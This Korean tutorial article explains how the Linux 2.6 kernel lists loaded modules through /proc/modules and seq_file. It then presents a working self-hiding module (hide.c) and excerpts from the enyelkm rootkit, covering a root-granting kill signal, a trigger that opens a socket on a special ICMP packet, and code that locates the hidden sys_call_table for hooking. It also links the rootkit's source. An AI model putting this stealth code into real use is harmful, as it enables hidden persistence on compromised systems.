메뉴 바로가기 검색 및 카테고리 바로가기 본문 바로가기

한빛출판네트워크

한빛랩스 - 지식에 가능성을 머지하다 / 강의 콘텐츠 무료로 수강하시고 피드백을 남겨주세요. ▶︎

IT/모바일

커널의 모듈 등록 구조

한빛미디어

|

2007-03-22

|

by HANBIT

17,581

제공 : 한빛 네트워크
저자: 한동훈

리눅스 커널의 모듈과 관련된 탐색은 /proc/modules로 시작하는 것이 좋습니다.

cat /proc/modules 또는 lsmod 명령으로 커널에 로드된 모듈의 목록을 볼 수 있습니다.(lsmod 명령은 /proc/modules를 읽어서 보여주는 것에 불과합니다. 직접 커널 영역과 통신해서 모듈 목록을 얻어내지 않습니다)

fs/proc/proc_misc.c에 보면 /proc 밑에 볼 수 있는 각 목록들을 등록하는 루틴이 있고, 이중에도 /proc/modules를 등록하는 부분을 볼 수 있습니다.

등록은 proc_misc_init() 함수에서 수행하며, 다음 부분이 /proc/modules 항목을 등록합니다.
 create_seq_entry("modules", 0, &proc_modules_operations);
seq_file 인터페이스를 사용하니까 create_proc_entry() 대신 create_seq_entry()를 사용합니다. 각 proc 항목은 페이지 하나만 할당해서 사용할 수 있습니다. 즉, 4k 이상의 데이터를 출력할 수 없는데, 이 문제를 극복하고자 seq_file 인터페이스를 도입했습니다.(대부분의 커널 책에서는 소개하지 않고 있는 부분입니다. 개정판이 나온다면 포함시켜보겠습니다)

seq_file 인터페이스는 4k가 넘어가는 경우에는 next 연산을 호출해서 다음 페이지로 변경하는 루틴이 추가된 형태의 proc이라 보면 됩니다.
#ifdef CONFIG_MODULES
extern struct seq_operations modules_op;
static int modules_open(struct inode *inode, struct file *file)
{
  return seq_open(file, &modules_op);
}
static struct file_operations proc_modules_operations = {
  .open   = modules_open,
  .read   = seq_read,
  .llseek   = seq_lseek,
  .release  = seq_release,
};
#endif
이렇게 CONFIG_MODULES로 되어 있기 때문에 커널에서 모듈 지원을 선택하지 않으면 이 부분이 누락됩니다.

/proc/modules 항목을 읽어들일 때 실행되는 루틴은 modules_op에 선언되어 있습니다.
const struct seq_operations modules_op = {
  .start  = m_start,
  .next = m_next,
  .stop = m_stop,
  .show = m_show
};
start 연산이 읽기를 실행할 때 수행되는 루틴, stop 연산은 읽기를 중단할 때 수행되는 연산, next 연산이 4k, 한 페이지를 넘어가는 경우에 페이지를 변경하는 루틴, show 연산은 실제 결과를 화면에 출력하는 루틴입니다.

modules_op 구조체는 kernel/module.c에 선언되어 있습니다. 실제. 커널에서 모듈과 관련된 자료구조와 선언은 모두 module.c에 정의되어 있습니다. 커널 2.4와 2.6에서도 차이점이 상당히 큰 부분입니다.

커널 2.4의 구현은 좀 더 지저분하게 구현된 형태이니 실제 모듈 구현 방식을 살펴보는 데 좋을 것이고, 커널 2.6은 소스가 깔끔하니 동작방식을 살펴보는 데 도움이 될 겁니다.

커널 2.4에 있던 inter_module_register(), inter_module_unregister() 함수도 2.6에서는 제거되었습니다. 커널에서 원하는 전체적인 작명구조에도 맞지않는 함수이름이기도 하죠.

start 연산에 등록된 m_start() 함수에서 시스템에 등록된 모듈들을 탐색합니다.

커널에 설치된 모듈의 목록은 modules 전역 변수로 관리합니다. 또한, 각 리스트는 뮤텍스로 관리하므로 뮤텍스를 사용해서 락의 획득과 해제를 합니다.
/* Protects module list */
static DEFINE_SPINLOCK(modlist_lock);

/* List of modules, protected by module_mutex AND modlist_lock */
static DEFINE_MUTEX(module_mutex);
static LIST_HEAD(modules);
잠금을 스핀락과 뮤텍스를 사용해서 관리하고 있고, 연결리스트는 modules로 선언되어 있지만, 심볼이 노출되어 있지는 않습니다.

start 연산에서 mutex_lock()으로 락을 획득하고, stop 연산에서 mutex_unlock()을 호출해서 락을 해제합니다.

list_for_each( i, modules) 형태로 전체 모듈 리스트를 탐색하는 구조로 되어 있습니다.

실행 루틴은 항상 start -> show -> stop의 순서로 실행이 되고, 4k를 넘어가는 경우에는 next 연산을 실행합니다.
static void *m_start(struct seq_file *m, loff_t *pos)
{
  struct list_head *i;
  loff_t n = 0;
  mutex_lock(&module_mutex);
  list_for_each(i, &modules) {
    if (n++ == *pos)
      break;
  }
  if (i == &modules)
    return NULL;
  return i;
}

static void m_stop(struct seq_file *m, void *p)
{
  mutex_unlock(&module_mutex);
}

static int m_show(struct seq_file *m, void *p)
{
  struct module *mod = list_entry(p, struct module, list);
  char buf[8];

  // 모듈 이름, init 루틴의 크기, core 루틴의 크기
  seq_printf(m, "%s %lu",
       mod->name, mod->init_size + mod->core_size);
  print_unload_info(m, mod);
  /* Informative for users. */
  seq_printf(m, " %s",
       mod->state == MODULE_STATE_GOING ? "Unloading":
       mod->state == MODULE_STATE_COMING ? "Loading":
       "Live");
  /* Used by oprofile and other similar tools. */
  seq_printf(m, " 0x%p", mod->module_core);

  // GPL 라이선스등을 사용하지 않은 모듈인 경우의 처리
  /* Taints info */
  if (mod->taints)
    seq_printf(m, " %s", taint_flags(mod->taints, buf));
  seq_printf(m, "n");
  return 0;
}
이와 같이 되어 있습니다. 현재 커널을 가리키는 변수명은 __this_module 입니다. 이는 소스 코드에 있는 것이 아니니 ctags, cscope로는 탐색할 수가 없습니다. 커널 2.6을 보면 모듈 빌드 과정에 .mod.c 파일이 생기는데 여기에 선언되는 구조체입니다.

다음은 간단한 모듈을 컴파일할 때 생성된 .mod.c 파일입니다. 모듈이 아무리 복잡해도 항상 이 코드는 이와 동일합니다.
#include 
#include 
#include 

// 모듈에 커널 버전 정보를 추가
MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
};

static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";
__this_module 구조체에 모듈 이름, 초기화, 종료 루틴을 설정합니다. __module_depends[] 배열은 이 모듈이 참조하는 다른 모듈들을 의미합니다. 그러니까, depmod -a 명령으로 모듈간의 의존성 정보등을 업데이트하는 것도 모두 이 부분이 있기 때문에 가능합니다. 역시나 .modinfo 섹션에 이 정보는 등록됩니다.

연결리스트에 등록되는 것도 해당 모듈의 모든 정보를 래핑한 __this_module이 됩니다. 따라서, 커널 2.6에서 다음과 같은 코드를 작성하면 자기자신을 숨기는 모듈이 됩니다.
------------------------cut here from hide.c ---------------------------
#include 
#include 
#include 
#include 

int init_module( void )
{
  struct module *m = &__this_module;
  
  if( m->init == init_module )
    list_del( &m->list );

  return 0;
}

MODULE_LICENSE( "GPL" );
------------------------------------------------------------------------
종료 루틴은 만들지 않았습니다. 연결리스트에서 자기 자신을 지워버리기 때문에 커널은 모듈이 등록되어 있다는 사실을 모르게 됩니다. 이런 식의 방법을 주로 이용하는 것이 커널 루트킷입니다.

모듈은 module 구조체로 되어 있습니다. 그리고 현재 모듈은 __this_module로 선언되어 컴파일되니 현재 모듈에 대한 포인터를 위와 같은 방법으로 얻습니다. 그리고, 초기화 루틴은 init 연산에 등록됩니다. 그러니, init 연산에 등록된 함수의 주소와 init_module 함수의 주소가 같으면 동일한 모듈을 찾아낸게 되고, list_del()로 삭제하면 됩니다.

이게 가장 안전하게 삭제하는 겁니다.

가장 단순하게 구현한다면 list_del( &__this_module.list ); 한 문장으로 줄일 수도 있습니다.

커널 루트킷 중에는 enyelkm이 이런 방식을 사용합니다. IDT 핸들러를 바꾸고, sysenter 핸들러까지 자신의 것으로 바꿉니다. 그리고, kill 명령도 변경합니다.

kill -s 58 12345 라는 명령을 주면 루트권한으로 변경시켜줍니다. ^^;

소스 코드는 여기에 있으니 참고해서 분석해보세요.

http://packetstormsecurity.org/UNIX/penetration/rootkits/enyelkm.en.v1.0.tar.gz

특별한 ICMP 패킷을 보내면 소켓까지 열어줍니다.

시스템 콜을 후킹하기 위해 숨겨진 sys_call_table의 위치도 찾아냅니다.

커널 영역에서 IDTR 레지스터의 값을 읽어서 0x80번째 만큼 떨어진 곳을 찾아내면 system_call() 함수가 있는 곳이고, 여기서 sys_call_table의 주소를 찾아냅니다.

system_call() 함수의 주소를 찾아내기 위해 get_system_call(), system_call() 함수에서 sys_call_table 함수의 위치를 찾아내는 것이 get_sys_call_table() 함수입니다.
void *get_sys_call_table(void *system_call)
{
  unsigned char *p;
  unsigned long s_c_t;
  p = (unsigned char *) system_call;

while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
  p++;

dire_call = (unsigned long) p;

p += 3;

s_c_t = *((unsigned long *) p);

p += 4;

after_call = (unsigned long) p;
/* cli */

while (*p != 0xfa)
  p++;

dire_exit = (unsigned long) p;

return((void *) s_c_t);
} 
크게 다르지는 않습니다. 0x14 번째 떨어진 시스템 콜의 주소를 이용하고 있네요.

이상은 커널 2.6.20, enyelkm 소스 코드에서 발췌했습니다.

ps. 시스템에서 어떤 정보를 숨기는 것은 대부분 연결리스트로 구현된 자료구조에서 해당 항목을 제거하는 것입니다. 프로세스를 숨기는 것, 모듈을 숨기는 것 등이 모두 연결리스트 조작으로 가능합니다.

오래된 것이지만 핵심은 모두 짚어주고 있는 Complete Linux Loadable Kernel Modules을 한 번 참고하세요.
TAG :
댓글 입력
자료실

최근 본 상품0